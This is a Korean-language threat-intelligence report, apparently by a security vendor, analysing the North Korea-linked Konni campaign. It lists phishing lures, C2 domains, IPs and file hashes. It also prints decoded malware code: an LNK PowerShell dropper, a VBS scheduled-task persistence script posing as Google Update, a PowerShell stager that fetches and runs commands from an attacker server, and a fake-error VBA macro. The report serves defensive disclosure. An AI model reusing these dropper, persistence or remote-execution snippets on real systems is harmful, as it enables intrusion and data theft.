<img height="1" width="1" style="display:none" src="https://www.facebook.com/tr?id=939333007162424&amp;ev=PageView&amp;noscript=1">

코니(Konni) 위협 세계관의 확장 분석 리포트

Expanded Analysis of Konni Threat Universe

합법적 클라우드와 난독화 스크립트를 결합한 교묘한 탐지 회피 전술
기밀정보 + 가상자산 탈취 등 다목적 사이버 암약 주체

◈ 주요 요약 (Executive Summary)

  • 김수키(Kimsuky) 클러스터로 알려진 코니(Konni) 위협 캠페인 확장 분석
  • 합법적 클라우드와 FTP 서비스를 단계별 감염 체인 기법으로 동원
  • 한국뿐 아니라 러시아 정부 기관 등 다양한 공격 시도 사례 존재
  • 해외 무료 웹 호스팅 및 도메인 서비스를 남용해 공격 거점으로 활용
  • EDR 기반 능동적 위협 헌팅 및 단말 이상행위 조기 탐지 효과 기대

1. 개요 (Overview)

○ 김수키(Kimsuky) 그룹과 연계 가능성이 높은 일명 '코니(Konni)' 캠페인에 대한 위협 활성도가 점차 증가 추세입니다. 「Genians Security Center(GSC)」는 'AutoIt을 활용한 방어 회피 전술의 코니 APT 캠페인 분석' 보고서를 통해 오토잇을 통한 APT 공격 전략을 기술한 바 있습니다. 코니 그룹은 다양한 전술과 기술, 절차(TTPs)를 사용하고 있습니다.

○ GSC는 잇따라 포착된 다수의 코니 위협 징후에 주목했고, 한국뿐만 아니라 해외에서 보고된 여러 유형과의 상관관계 연구도 수행 중입니다. 위협 행위자는 목적에 부합된 특정한 단말 초기 침투 과정 중 백신S/W 탐지 우회가 주요 목표 중 하나입니다. 이를 위해 다양한 전략과 도구를 접목하거나 신규 방식을 언제든지 도입할 수 있습니다.

○ 이번에 살펴볼 사례는 합법적 클라우드 서비스와 FTP 등의 단계별 감염 체인 기법이 동원됐습니다. 따라서, 최종 페이로드(Payload) 채증 및 분석이 제한적입니다. 한편, 지난 5월 21일 미국에 본사를 둔 보안업체 시큐로닉스(Securonix)는 'ANALYSIS AND DETECTION OF CLOUD#REVERSER: AN ATTACK INVOLVING THREAT ACTORS COMPROMISING SYSTEMS USING A SOPHISTICATED CLOUD-BASED MALWARE' 제목의 위협 분석 보고서를 발간한 바 있습니다. 시큐로닉스의 협력과 지원은 이번 위협을 조사하는데 많은 도움이 됐습니다.

○ 한편, 8월 22일 한국 보안업체 S2W는 'Threat Tracking: Analysis of puNK-003’s Lilith RAT ported to AutoIt Script' 보고서를 통해 코니 위협과 유사 사례에 대한 다각적 분석 사례를 발표한 바 있습니다.

○ 아울러 한국내 주요 민관 사이버 협력 체계인 「한국인터넷진흥원(KISA) 위협 인텔리전스 네트워크」와 긴밀히 소통해, 본 사례를 연구하고 대응하는데 있어 다양한 정보공유 및 협력이 진행됐습니다.

 

2. 배경 (Background)

○ 루멘(Lumen)은 2022년 1월 공식 블로그를 통해 새로운 코니 캠페인이 러시아 연방 외무부(MID)를 표적으로 한 'New Konni Campaign Kicks Off The New Year By Targeting Russian Ministry Of Foreign Affairs' 보고서를 공개한 바 있습니다. 이 글에는 새해 인사내용의 화면보호기(scr)형 악성파일이 포함돼 있습니다.

○ 2022년 8월에 발견된 공격은 '평양은 돈바스에 대한 접근권을 놓고 모스크바와 대화 중(Pyongyang in talks with Moscow on access to Donbass)'이라는 내용을 담은 ppt 미끼 문서와 ppam 확장자의 악성 파일이 사용됐습니다.

○ 덧붙여 2023년 11월에 발견된 경찰 수사관 사칭건과 2024년 2월 진행된 세무법인 사칭 공격은 본 사건을 조사하는데 중요한 연결고리 중 하나입니다. 이들 모두 스피어 피싱 기반 공격을 통해 악성파일을 전송했습니다.

실제 스피어 피싱 공격 사례들[그림 1] 실제 스피어 피싱 공격 사례들

○ 물론, 위에서 언급한 사례 외에도 다수의 공격이 존재하지만, 대표적 내용만 선별했습니다. 당시 공격 중 ppam 파일 유형을 제외하고, 모두 실행 파일 유형입니다.  각 zip 압축 파일 내부에는 서로 다른 exe 및 scr 확장자의 파일이 포함돼 있습니다. 압축 내부 악성 파일이 실행되면 각각 하기와 같은 추가 모듈을 통해 C2 서버와 연결이 시도됩니다.

2021년 러시아 연방
외무부 도용
2022년 러시아 연방
외무부 도용
2023년 경찰
수사관 사칭
2024년 세무법인
실장 사칭
dll vbs jse, ps1 vbs
h378576.atwebpages[.]com/dn.php?name=%
computer_name%
&prefix=tt
gg1593.c1[.]biz/
dn.php?name=%
computer_name%
&prefix=tt
gjdow.atwebpages[.]com/dn.php?name=%
computer_name%
&prefix=tt
thictu.sportsontheweb[.]net/eci/dn.php?name=%computer_
name%&prefix=tt

[표 1] 사례별 코니 C2 명령 유사성 비교


○ 두 사례 모두 실행파일을 통해 악성 모듈을 설치하고, 내부 명령을 통해 C2 서버로 접속하는 과정을 거칩니다.

○ 그리고 '컴퓨터명[host name]'으로 피해자를 구분하는데, 동일한 파라미터 값이 사용됐습니다. C2 주소는 서로 다르지만, 'Biz.nf' 또는 'WebFreeHosting' 서비스를 통해 생성된 도메인 주소입니다. 대부분 이런 무료 도메인 및 호스팅 서비스가 악성 서버 구축에 지속 악용 중입니다.

atwebpages[.]com getenjoyment[.]net
medianewsonline[.]com myartsonline[.]com
mygamesonline[.]org mypressonline[.]com
mywebcommunity[.]org onlinewebshop[.]net
scienceontheweb[.]net sportsontheweb[.]net

[표 2] WebFreeHosting 대표 도메인


○ 2017년 시스코 탈로스의 'KONNI: A Malware Under The Radar For Years' 보고서에 따르면, 코니 캠페인의 역사는 2014년까지 거슬러 올라갑니다. 그리고 약 10년이 지난 지금까지도 그 활동은 현재 진행형 입니다.

○ 과거 대표 사례들 중 일부만 정리하면 하기와 같고, 2019년 전후로는 hwp나 doc 등의 문서 기반 공격이 한국에서 다수 포착됐습니다.

VT 1st
Submission
File Name C2 MD5
2017-09-04
16:12:38 UTC
RMNCH proposal in DPRK.doc ftp.byethost6[.]com a0d332a95e2f42a7f26dd452c63938a4
2019-10-01
06:55:31 UTC
마켓팅플랜.hwp pelham-holles[.]com 70b84f854b86d2ee6349ed348ef824ac
2021-07-29
11:01:09 UTC
economics relations.doc takemetoyouheart.c1[.]biz 9b1ca0408e33c43970b87c4c380b134f
2021-11-19
02:32:30 UTC
ПРОГРАММА ДЛЯ РЕГИСТРАЦИИ ПРИВИТЫХ В ФЕДЕРАЛЬНОМ РЕГИСТРЕ ВАКЦИНИРОВАННЫХ.exe victory-2020.atwebpages[.]com

8b7fdb80ea30a675d776ee3c6a2b5062


2022-06-21
08:18:37 UTC
Паспорт.doc 968796.c1[.]biz 66fba06e965f9a6ea192db7f452ea9b6
2022-09-04
22:43:00 UTC
보상명부.xlam rq7592.c1[.]biz cf5f18032667bfb4c7373191e7fb1fbf
2023-09-18
06:15:33 UTC
текст выступления.doc kmdqj1.c1[.]biz 681d210f7931197775cac0ff31fb1ff5 
2023-10-10
07:20:27 UTC
SpravkiBKsetup_ver._2.5.msi ykcchu.c1[.]biz 0018e7e7613bd92b9dc23b9d4db59fa8
2024-01-11
12:03:44 UTC
StatRKZU.msi victory-2024.mywebcommunity[.]org b896c2b2ae51f7100a342c73f5062896

[표 3] 주요 코니 캠페인 지표


○ 2021년부터 2024년까지 러시아를 대상으로 한 공격도 잇따라 발견됩니다. 러시아어 파일명의 문서형태 뿐만 아니라, 실행 파일 형태도 있습니다. 공격 대상은 주로 대북분야 및 정치·외교·안보 전문가를 포함해 외화벌이 목적으로 추정되는 가상자산 거래 관계자들도 포함돼 있습니다. 2024년 2월 독일의 사이버 보안기업 DCSO에서 'To Russia With Love: Assessing a KONNI-Backdoored Suspected Russian Consular Software Installer' 제목으로 자세한 내용을 소개한 바 있습니다.

○ 그전 내용에 덧붙여서 'Паспорт.doc' 문서의 경우 러시아어 파일명을 영어로 번역하면 'Passport.doc'가 됩니다. 이는 '여권'이라는 표현으로 2022년 북한 지역에서 구글 바이러스 토탈(VT) 서비스에 업로드 됐습니다. 이는 위협 행위자가 탐지 테스트로 등록했거나, 북한 내에 있던 미상 인물이 표적에 노출됐을 가능성도 배제할 수 없습니다.

북한(DPRK) 지역에서 바이러스 토탈에 처음 등록된 화면[그림 2] 북한(DPRK) 지역에서 바이러스 토탈에 처음 등록된 화면


○ 참고로 미끼로 사용된 문서파일의 내용을 살펴보면, 당시 한·미관계 상황 및 중국 리커창 총리와 미국 테슬라 일론 머스크의 회담, 미·중 무역협상 등 '여권'과는 다소 무관한 내용을 담고 있습니다.

 

3. 공격 시나리오 (Attack Scenario)

○ 앞서 소개한 여러 사례처럼 코니 캠페인은 스피어 피싱을 핵심 공격 전술로 구사합니다. 따라서 이메일에 첨부(링크)된 파일에 대해 항시 각별한 주의가 필요합니다.

○ 위협 행위자는 국세청, 탈북민 학생 장학금 신청서로 사칭한 유형과 함께 최근 '금융당국 요청에 따른 프로젝트 정보 확인 요청의 건' 이름의 악성 zip 파일까지 다양한 주제로 공격 중입니다. 해당 내용은 안랩 ASEC에서 '국내 금융 기업 대상으로 유포 중인 악성 LNK' 제목으로 소개한 바 있습니다.

○ 이처럼 대북분야 종사자 뿐만 아니라, 금융·가상자산 관계자도 표적에 노출되고 있습니다. 이는 주요 정보 탈취 및 외화자금 확보에 그 목적이 있다고 관측됩니다.

주요 타임 라인[그림 3] 주요 타임 라인


○ 코니 공격 시나리오의 주요 타임 라인을 통해 큰 틀에서 위협 흐름을 파악하는 자료가 될 수 있습니다.

○ 참고로 해당 파일들은 바이러스토탈(VirusTotal) 서비스에 처음 등록된 날짜 기준으로 파일명이 불명확한 것은 제외했고, 일부는 클라우드 서비스를 통해 다운로드된 파일명 입니다.

○ 타임라인 기준으로 04월 17일 시큐로닉스(SECURONIX)의 'CLOUD#REVERSER' 분석 내용에 따르면, C2 서버가 독일 소재의 159.100.13[.]216 입니다. 이 서버에서 다운로드된 파일 정보는 하기와 같습니다.

Malware Name AsyncRAT
Original File Name rat_pro.exe
Compilation Timestamp 2080-06-10 16:35:41 (UTC)
Product Name WinSvc
PDB Path E:\RAT\AsyncRat_0313\rat_Client\rat_pro\obj\Debug\rat_pro.pdb
MD5 914eb1b37d5679931fc9c2b5f3a2bbcd

[표 4] 악성 파일 주요 정보


○ C# 기반 악성파일로 AsyncRAT 변종이며, 동일 C2 서버로 원격 접속을 시도합니다. 해당 IP주소에서 여러 변종이 유포된 이력이 존재합니다.


AsyncRAT C2 문자열 모습[그림 4] AsyncRAT C2 문자열 모습


○ 해당 IP 주소와 연결된 변종은 다양하게 존재합니다. 'rat_pro.exe' 원본 파일명이 대체로 동일하지만, 'rt_0502.exe' 형태도 식별됩니다. 그리고 컴파일 타임스탬프는 미래의 날짜로 모두 조작된 상태입니다.

Original File Name Compilation Timestamp PDB Path C2 MD5
rat_pro.exe 2038-12-05
16:25:28 (UTC)
N/A 159.100.13
[.]216 [DE]
ca2bc501ea4b94b9d6cf220a09b2812f
rt_0502.exe 2054-09-26
13:59:57 (UTC)
E:\RAT_work\AsyncRat_0529\rat_Client\rat_pro\obj\Debug\rt_0502.pdb 159.100.13
[.]216 [DE]
1b3af9f3d4c279b618656178f22b89db
rat_pro.exe 2080-06-10
16:35:41 (UTC)
E:\RAT\AsyncRat_0313\rat_Client\rat_pro\obj\Debug\rat_pro.pdb 159.100.13
[.]216 [DE]
b49480bb06d30a6ac414313da8be170f

[표 5] C2가 동일한 AsyncRAT 변종 비교


○ 아울러 4월 24일 발견된 유사 악성 파일은 'duplikyservjc[.]cloud' 도메인을 C2로 사용합니다. 

○ 이 도메인은 2024년 4월 22일 생성됐고, '159.100.13[.]216' 독일 IP 주소로 연결됩니다. 여기서 확인된 C2 주소 체계가 기존 코니 유형과 정확히 일치해, 동일 범주내 위협 캠페인에 속합니다.

○ 네트워크 분석을 확장해보면 '159.100.13[.]216' 서버와 연결된 여러 도메인 중에 'ranujos[.]online' 주소가 식별되고, 미국 소재 '67.211.213[.]224' 주소와 연결된 과거 이력이 조회됩니다. 이 주소는 'wimcwpo[.]online', 'molklib[.]online' 등과 관계가 있습니다.

○ 이외에도 복잡한 상관관계를 가지고 있는데, 여기서 주목할 점은 지난 2월 한국에서 발견된 세무법인 실장 사칭 공격 건입니다. 당시 공격 벡터는 특정 기업의 연말정산 자료처럼 위장해 기업 대표 대상으로 수행된 스피어 피싱 입니다.

○ 이때 사용된 C2 도메인은 'thictu.sportsontheweb[.]net' 주소이며, 명령 체계의 유사도 측면에서 연관성이 높습니다.

2021년 러시아 연방 외무부 도용 2022년 보상명부
문서 사칭
2023년 경찰 수사관 사칭 2024년 세무법인
실장 사칭
h378576.atwebpages[.]com/dn.php?name=%
computer_name%
&prefix=tt
rq7592.c1[.]biz/dn.php?name=%computer
_
name%&prefix=tt
 
gjdow.atwebpages[.]com/dn.php?name=%
computer_name%
&prefix=tt
thictu.sportsontheweb[.]net/eci/dn.php?name=%computer_
name%&prefix=tt
159.100.13[.]216
아이피 사용
67.211.213[.]224
아이피 사용
67.211.213[.]224
아이피 사용
 
duplikyservjc[.]cloud/dn.php?name=%
computer_name%
&prefix=tt
molklib[.]online/
dn.php?name=%
computer_name%
&prefix=tt
wimcwpo[.]online/dn.php?name=%
computer_name%
&prefix=tt
 

[표 6] 'duplikyservjc[.]cloud' C2 유사성 비교

○ 위협 행위자는 수년 간 유사 패턴과 공격 시나리오를 활용하고 있습니다. 다만, 대상 단말 침투 성공률을 높이기 위해 변칙적 공격 전술도 적절히 결합하고 있습니다.

○ 더욱이 위협 배후를 규명하는 이른바 '위협 어트리뷰션(Threat Attribution)' 식별도를 낮추기 위해 난독화 및 공격 도구 변화에 적극적입니다. 따라서 과거부터 현재까지 변화 추이를 관찰하고, 실제 현장에서 채증된 다양한 단서와 증거를 데이터 베이스화하여 상관관계를 파악하는 연구가 중요합니다.

○ 이처럼 한국에서 코니 캠페인 소행으로 분류된 위협이 증가추세에 있습니다. 따라서, 침해지표(IoC)와 공격지표(IoA) 기반으로 위협 행위자의 공격 시나리오를 체계적으로 파악하고, 엔드포인트 탐지 및 대응(EDR)을 통한 이상징후 조기 감지가 필요한 이유입니다.

 

4.  악성 파일 분석 (Malware Analysis)

○ 코니 캠페인에서 다양한 악성파일이 발견되고 있습니다. GSC는 2024년 4월부터 7월까지 채증된 다수의 파일을 중점적으로 조사했습니다. 앞서 기술한 4월 샘플을 제외하고, 5월부터 7월까지 핵심 파일은 하기와 같습니다.

Date File Name C2 MD5
05. 11 애니챗_20240511.xlsx.lnk 79.133.56[.]173 [DE] f1b542971711bf229d02f5e385225a8d
05. 15 김명희_20240515.xlsx.lnk glonalcnielmxc.mywebcommunity[.]org
185.176.43[.]108 [BG
0993cf18121be84f5b1511318df80f44
05. 17 N/A (exe) ka174f.scienceontheweb[.]net
185.176.43[.]108 [BG]
4638e7c17057fef4613af1f0f6821702
05. 24 CSO_20240524.xlsx.lnk 216.107.137[.]73 [US] b1504090e9a70ae80190302e524589f2
06. 25 20240625_47531.docx.lnk 79.133.56[.]173 [DE] 47d66179d1437e4b7e4ad863a3fc25b2
06. 26 N/A (lnk) 216.107.137[.]73 [US] 7671fc2dce5d3f84f984f052adf35f9a
06. 27 20240625_47531.pdf.lnk 79.133.56[.]173 [DE] 87bfdd6dd3c8722ad97a92b3ad706ed2
07. 09 근로신청서 관련의 건.docx.lnk 79.133.56[.]173 [DE] 21d12dc7f08752293847af6ed19df0e3
07. 29 UPBIT_20240729.docx.lnk 79.133.56[.]173 [DE] 6793c3d6438553222f5e8ed2ee8c3ebf
07. 29 BITHUMB_20240729.docx.lnk 79.133.56[.]173 [DE] 2afb9ccd85ffcef656eefc18150741ab
07. 29 수정본_20240729.docx.lnk 79.133.56[.]173 [DE] 1bb62f16635e0bcaf7b4ac2c27ceac71

[표 7] 주요 악성파일 리스트


○ 위협 행위자는 공격 시점에 따라 스크립트 난독화 기법을 여러 단계로 변경하고 있습니다. 이는 백신 소프트웨어의 시그니처 탐지 우회와 분석시 가독성 방해 목적 등에 활용됩니다.

○ 지난 5월에 이용된 독일 소재 79.133.56[.]173 C2 서버는 7월에도 지속 포착됐습니다. 특히,  한국 가상 자산 거래소와 관련된 테마를 활용하고 있습니다.

○ 먼저 '애니챗_20240511.xlsx.lnk' 사례의 경우 전형적 lnk 바로가기 악성 파일 타입으로 내부에 다음과 같은 Base64 명령어를 수행하게 됩니다.

lnk 내부에 포함된 명령어[그림 5] lnk 내부에 포함된 명령어


○ $a 변수에 할당된 Base64 문자열이 디코딩되면 아래와 같고, lnk 명령줄 [$ol = 0x00000d76], [$tl = 0x00001777] 변수와 함께 XOR 연산을 수행합니다.

$lnkpath = Get-ChildItem *.lnk | where-object { $_.length -eq $tl } |
Select-Object -ExpandProperty Name;

$file = gc $lnkpath -Encoding Byte;
$fileSize = $file.count;
$i = $ol;

while ($i -lt $fileSize) {
       $bXor = $file[$i];
       $bRun = $file[$i + 1];
       $dwPathLen = [bitconverter]::ToInt32($file, $i + 2);
       $dwDataLen = [bitconverter]::ToInt32($file, $i + 6);
       $fi = 10;

       for ([int]$p = $i + $fi; $p -lt ($i + $fi + $dwPathLen + $dwDataLen);
$p++)  {

                $file[$p] = $file[$p] -bxor $bXor;
              }

       [byte[]]$pathHex = $file[($i + $fi)..($i + $fi + $dwPathLen - 1)];
       $path = [System.Text.Encoding]::ASCII.GetString($file[($i + $fi)..($i +
$fi + $dwPathLen - 2)]);


       sc $path ([byte[]]($file | select -Skip ($i + $fi + $dwPathLen) | select
-SkipLast ($fileSize - $i - $fi - $dwPathLen - $dwDataLen))) -Encoding Byte;


       if ($bRun)  {
            &$path;
       }

       $i = $i + $fi + $dwPathLen + $dwDataLen;
}

[표8] Base64 디코딩 결과


○  여기서 $tl 변수 값 '0x1777'은 10진수로 '6007'이며, lnk 파일 사이즈의 비교 조건에 해당됩니다. 이 코드를 통해 6,007 바이트의 '애니챗_20240511.xlsx.lnk' 파일을 검색합니다. $ol 변수 값 '0xd76'은 $i 파일 인덱스 값의 역할을 수행하며, $bXor 명령에 따라 첫 바이트가 XOR 키 값이 됩니다.

 

$bXor =
$file[$i]
0xd76 위치의 1 번째 바이트를 $bXor로 할당합니다. 이 값은 XOR 연산에 사용될 키입니다.
$bRun =
$file[$i + 1]
0xd76 위치의 2 번째 바이트를 $bRun 변수에 할당합니다. 이 값은 이후에 복호화된 파일을 실행할지 여부를 결정합니다. 만약 값이 0이라면, 파일을 저장하지만, 실행하지는 않습니다.
$dwPathLen = [BitConverter]::ToInt32($file, $i + 2) 0xd76 위치의 3 번째 바이트부터 4바이트를 읽어와, 경로의 길이를 나타내는 정수로 변환합니다.
$dwDataLen = [BitConverter]::ToInt32($file, $i + 6) 0xd76 위치의 7 번째 바이트부터 4바이트를 읽어와, 데이터의 길이를 나타내는 정수로 변환합니다.
$fi = 10 오프셋 조정 변수로 사용됩니다. 복호화 작업이 시작될 위치를 의미합니다.

[표 9] 복호화 흐름 설명 


○ 기준이 되는 오프셋 '0xd76' 위치부터 데이터 처리가 시작됩니다. 1 번째 바이트 '0x00' 값이 XOR Key 값이며, 그 다음 '0x00' 값이 실행 여부를 결정하는 플래그 입니다.

lnk 파일 내부 구조[그림 6] lnk 파일 내부 구조


○ 경로 길이(PathLeng) 4바이트는 '0x00000019' 값으로 생성할 파일의 경로를 추출하게 됩니다.

생성 파일 경로 추출[그림 7] 생성 파일 경로 추출


○ 데이터 길이(DataLeng) 4바이트는 '0x0000020d' 값으로 생성할 파일의 암호화된 데이터를 추출하고, XOR 연산을 수행합니다. 여기서는 '0x00' 키가 쓰이므로, 출력 결과는 입력과 동일합니다.

1차 데이터 길이 영역과 2차 데이터 지정[그림 8] 1차 데이터 길이 영역과 2차 데이터 지정


○ 한편, 이러한 패턴으로 총 4개의 파일이 생성되는데 'i9024.vbs' 파일이 실행됩니다. 'TMP48573.xlsx' 파일은 39바이트의 비정상적인 엑셀 포맷을 가지며, 의도적으로 손상된 미끼 파일로 관측됩니다.

○ 다시 2차 데이터의 경우 0x02 키값을 통해 XOR 연산을 수행하며, 경로 길이 값은 '0x0000001c' 이고, 데이터 길이 값은 '0x000002b5' 입니다.

○ '0x02' 키값으로 XOR 로직이 수행되면 'C:\Programdata' 경로에 'i9024.vbs' 스크립트를 생성하고, 하기와 같은 난독화된 문자열 데이터를 저장합니다.

 

ijkmo = "rsuxaegkotyc":
ceilq = "zekqy":
jkmopqsuw = "":
for i = 1 to 998:
       jkmopqsuw = jkmopqsuw + chr(Asc(mid("Rq#Huuru#Uhvxph#Qh{w=Ixqfwlrq#WI+sbw,=fVh#@#%3%#)#Vhfrqg+sbw,=fPl#@#%3%#)#Plqxwh+sbw,=fK#@#%3%#)#Krxu+sbw,=fG#@#%3%#)#Gd|+sbw,=fPr#@#%3%#)#Prqwk+sbw,=f\#@#\hdu+sbw,=ww#@#Uljkw+fK/#5,#)#%=%#)#Uljkw+fPl/#5,#)#%=%#)#Uljkw+fVh/#5,=gg#@#f\#)#%0%#)#Uljkw+fPr/#5,#)#%0%#)#Uljkw+fG/#5,=WI#@#gg#)#%W%#)#ww=Hqg#Ixqfwlrq=Vxe#Uhj+sbWdu,=Vhw#vy#@#FuhdwhRemhfw+%Vfkhgxoh1Vhuylfh%,=Fdoo#vy1Frqqhfw+,=Vhw#wGhi#@#(SKIP)#WI+GdwhDgg+%v%/45/Qrz,,=1Hqdeohg#@#Wuxh=1Uhshwlwlrq1L
qwhuydo#@#%SW4P%=Hqg#Zlwk=zlwk#wGhi1Dfwlrqv1Fuhdwh+3,=1Sdwk@%zvfulsw1h{h%=1Dujxphqwv@%22e#22h=yevfulsw#%#)#sbWdu=Hqg#Zlwk=Vhw#igu#@#vy1JhwIroghu+%_%,=Fdoo#igu1UhjlvwhuWdvnGhilqlwlrq+%JrrjohXsgdwhWdvnPdfklqhXE^893690<5:5094;7`%/#wGhi/#9/#/#/#6,=Hqg#Vxe=Vhw#remVkhoo#@#FuhdwhRemhfw+#%ZVfulsw1Vkhoo%#,=wps@%F=__Surjudpgdwd__95;731wps%=Uhj#wps="
, i, 1)) - 3:

Next:
Execute jkmopqsuw:
pwe = "ijkmoqrsu":

[표10] 2차 데이터 변환 결과 값 (일부 생략)


○ 반복문을 통해 처음부터 998번 문자열까지 (-3) 연산을 수행하고, 실행하게 됩니다.

On Error Resume Next:

Function TF(p_t):
       cSe = "0" & Second(p_t):
       cMi = "0" & Minute(p_t):
       cH = "0" & Hour(p_t):
       cD = "0" & Day(p_t):
       cMo = "0" & Month(p_t):
       cY = Year(p_t):
  
       tt = Right(cH, 2) & ":" & Right(cMi, 2) & ":" & Right(cSe, 2):
       dd = cY & "-" & Right(cMo, 2) & "-" & Right(cD, 2):
  
       TF = dd & "T" & tt:
End Function:

Sub Reg(p_Tar):
       Set sv = CreateObject("Schedule.Service"): 
       Call sv.Connect(): 

       Set tDef = sv.NewTask(0):  
       tDef.RegistrationInfo.Author = "Microsoft":

   With tDef.Settings:    
           .Enabled=True:     
           .StartWhenAvailable=True:      
           .Hidden=True:  
   End With:  
  
   With tDef.Triggers.Create(2):      
           .StartBoundary = TF(DateAdd("s",12,Now)):      
           .Enabled = True:       
           .Repetition.Interval = "PT1M"
   End With:  
  
   with tDef.Actions.Create(0):   
           .Path="wscript.exe":   
           .Arguments="//b //e:vbscript " & p_Tar:
   End With:

    Set fdr = sv.GetFolder("\"):   
    Call
fdr.RegisterTaskDefinition("GoogleUpdateTaskMachineUB[56036-9272-6184]",
tDef, 6, , , 3):
End Sub:

Set objShell = CreateObject( "WScript.Shell" ):
tmp="C:\\Programdata\\62840.tmp":
Reg tmp:

[표11] 난독화된 문자열 디코딩 결과


○ 디코딩된 VBS 스크립트는 'GoogleUpdateTaskMachineUB[56036-9272-6184]' (이름)과 'Microsoft' (만든이)로 작업 스케줄러를 등록하고, wscript.exe 프로그램 동작을 등록합니다. 이때 '//b //e:vbscript C:\\Programdata\\
62840.tmp' 인수 값을 추가하여, 매 1분마다 '62840.tmp' 스크립트가 지속 실행되도록 구성됩니다.

작업 스케줄러 화면[그림 9] 작업 스케줄러 화면


○ '62840.tmp' 파일 역시 (-3) 연산 로직의 난독화된 VBS 스크립트이며, 최종적으로 PowerShell을 통해 'C:\ProgramData\TmpSc868.tmp' 파일을 실행하게 됩니다. 

○ 해당 코드 내부에는 FTP 서버와 포트 정보 등이 선언돼 있고, PowerShell 명령을 통해 통신을 시도합니다. 그리고 'tmpz.ps1' 파일을 생성하고 실행한 후 삭제합니다.

$FTPServer = "79.133.56[.]173"
$FTPPort = "5555"

$tcpConnection = New-Object System.Net.Sockets.TcpClient($FTPServer,
$FTPPort)

$tcpStream = $tcpConnection.GetStream()
$reader = New-Object System.IO.StreamReader($tcpStream)
$writer = New-Object System.IO.StreamWriter($tcpStream)
$writer.AutoFlush = $true

$cmd = $reader.ReadLine()

$tmpz = "c:\programdata\tmpz.ps1"
$cmd | Out-File $tmpz
powershell -ep bypass -f $tmpz
del $tmpz

[표12] Base64 문자열 디코딩 결과


○ FTP 통신으로 실행되는 'tmpz.ps1' 명령에 따라, RAT 등의 원격제어 모듈이 설치될 수 있습니다.

File Name Description
62840.tmp TmpSc868.tmp 실행
i9024.vbs 작업 스케줄러를 통해 62840.tmp 실행
TmpSc868.tmp 79.133.56[.]173:5555 FTP 통신 (tmpz.ps1 생성/실행/삭제)
TMP48573.xlsx 손상된 미끼용 파일

[표 13] 각 생성 파일 참고자료


○ 비슷한 종류의 다른 악성 코드들도 이와 유사한 형태를 지니고 있지만, 일부는 jse 또는 ps1 파일 확장자를 활용하기도 합니다.

 

5. 유사성 비교 (Similarity Comparison)

○ 앞서 기술한 'i9024.vbs' 파일은 반복문을 통해 처음부터 998번 문자열까지 (-3) 연산을 수행하고, 'GoogleUpdateTaskMachineUB[56036-9272-6184]' 이름으로 작업 스케줄러를 등록합니다.

○ 시큐로닉스(Securonix) 'CLOUD#REVERSER' 보고서에 언급된 'i4703.vbs', 'i6050.vbs' 파일은 각각 'GoogleUpdateTaskMachineUHX[69495-0742-9024]', 'GoogleUpdateTaskMachineUF[51853-4679-1246]'로 마치 구글 업데이트처럼 위장된 이름이 작업 스케줄러로 사용됐습니다. 아울러 (-3) 연산 수행 디코딩 로직 역시 동일합니다.

유사도 비교 화면[그림 10] 유사도 비교 화면


○ 코니 클러스터에서 지속 관찰된 악성 DLL 파일은 Advanced Encryption Standard (AES) 암호화 알고리즘과 CTR (CounTeR) 모드를 통해 C2 주소를 추출합니다.

○ 2022년 사례 중 하나로 '보상명부.xlam' MS Excel 추가 기능 문서의 경우 가짜 오류 메시지 창을 띄우지만, 내부 VBA 매크로 함수를 통해 'rels.xml' 영역에 숨겨진 cab 파일을 실행합니다.

sMessage = "Sorry, Excel can't read because office version is low. Please update Excel."
sTitle = "Microsoft Excel"
MsgBox sMessage, vbExclamation, sTitle

Set objFileSystem = CreateObject("Scripting.FileSystemObject")

zipFolder = objFileSystem.GetSpecialFolder(2).Path & "\"

zipFile = zipFolder & RandomString(6) & ".zip"
cabFile = zipFolder & "rels.xml"

objFileSystem.CopyFile
Application.AddIns2.Item(Application.AddIns2.Count).FullName, zipFile, True


Call UnzipAFile(zipFile, zipFolder)

sCmdLine = "cmd /c expand " & cabFile & " -F:* " & zipFolder & " && " & zipFolder & "check.bat"
n = Shell(sCmdLine, vbHide)

[표 14] 각 생성 파일 참고자료


○ 이후 조건에 따라, 시스템 폴더 경로에 'authtokenmgt.dll', 'authtokenmgt.dat' 파일을 복사합니다. 그리고 'sc create' 명령을 통해 'authtokenmgt' 이름의 서비스를 등록합니다.

○ AES-256-CTR 암호화된 C2 문자열은 다음과 같은 형태로 복호화가 진행됩니다.

Service Name
[SHA256 String]
authtokenmgt
SHA256
(UTF-16LE)
[AES Key]
728feadb5c096238ac9e2192ede0f13126136ab5eec7da9d0e76f88468f029d9
authtokenmgt.dat
(0x00 ~ 0x0F)
[Initialization
Vector (IV)]
6A 81 21 15 06 E0 CB 6D B6 CF 84 8D F2 6F 36 BE
authtokenmgt.dat
(0x10 ~ End)
[INPUT DATA]
5B D9 FF 55 DA FF 78 4B FF F8 D6 4E B7
C2
[OUTPUT DATA]
rq7592.c1[.]biz

[표 15] AES-256-CTR 복호화 예제 설명


사이버셰프(CyberChef)의 레시피(Recipe) 기능을 통해 확인 가능하며, 아래와 같은 Python 코드로 복호화도 가능합니다.

from Cryptodome.Cipher import AES
import hashlib

key = input("Service Name: ")
path = input("File Path: ")

with open(path, "rb") as f:
       data = f.read()

initial_counter = data[:16]
data = data[16:]

phrase = key.encode("utf16")[2:]
key = hashlib.sha256(phrase).digest()

cipher = AES.new(key=key, initial_value=initial_counter, mode=AES.MODE_CTR,
nonce=b'')

plain = cipher.decrypt(data)

try:
       print(plain.decode("utf-8"))
except:
       print(plain)

[표 16] 복호화 함수


○ Python 코드를 통해 악성 DLL 서비스명과 암호화된 데이터 파일(dat, ini 등)을 입력하면, 최종 C2 도메인 결과를 얻을 수 있습니다

C2 복호화 결과 화면[그림 11] C2 복호화 결과 화면


○ 상기와 유사도가 높은 코니 종류는 다음과 같습니다.

No File Name C2 MD5
01 보상명부.xlam rq7592.c1[.]biz cf5f18032667bfb4c7373191e7fb1fbf
02 카뱅과 손잡은 코인원_비트 독주 체제 무너뜨릴까 [위클리 코인리뷰] - 이코노미스트.docx word2022.c1[.]biz 00e6e9ed4666623860686c123ed334f0
03 письмо (blank spaces)..exe 3756298.c1[.]biz 705c8d431b4b8fa834491ff6975a0532
04 Паспорт.doc 968796.c1[.]biz 66fba06e965f9a6ea192db7f452ea9b6
05 Donbass.ppam gg1593.c1[.]biz dae0efd29230feab95f46ee20030a425
06 Визит делегации США.scr 837593.c1[.]biz 28942e7704b629c63afefe23d38068f5
07 поздравление.scr h378576.atwebpages[.]com 8ec9a6ff22c497375b53344cafeb2292
08 paypal.doc 4895750.c1[.]biz 7b27586c4b332c5e87784c8d3e45a523

